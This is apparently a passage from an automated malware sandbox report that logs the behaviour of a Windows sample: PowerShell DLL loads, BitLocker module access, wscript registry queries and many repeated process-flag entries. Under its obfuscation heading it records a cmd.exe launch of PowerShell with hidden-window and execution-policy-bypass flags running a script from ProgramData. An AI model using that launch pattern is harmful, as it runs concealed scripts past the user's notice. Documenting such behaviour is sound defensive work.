Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AD0D2A5 pushad ; iretd	1_2_00007FFB4AD0D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AE37C5E push eax; retf	1_2_00007FFB4AE37C6D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AE37C2E pushad ; retf	1_2_00007FFB4AE37C5D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AE28148 push ebx; ret	1_2_00007FFB4AE2816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AE278FB push ebx; retf	1_2_00007FFB4AE2796A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AE2BA0D push ebx; iretd	1_2_00007FFB4AE2BA1A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AE3785E push eax; iretd	1_2_00007FFB4AE3786D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AE3782E pushad ; iretd	1_2_00007FFB4AE3785D

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
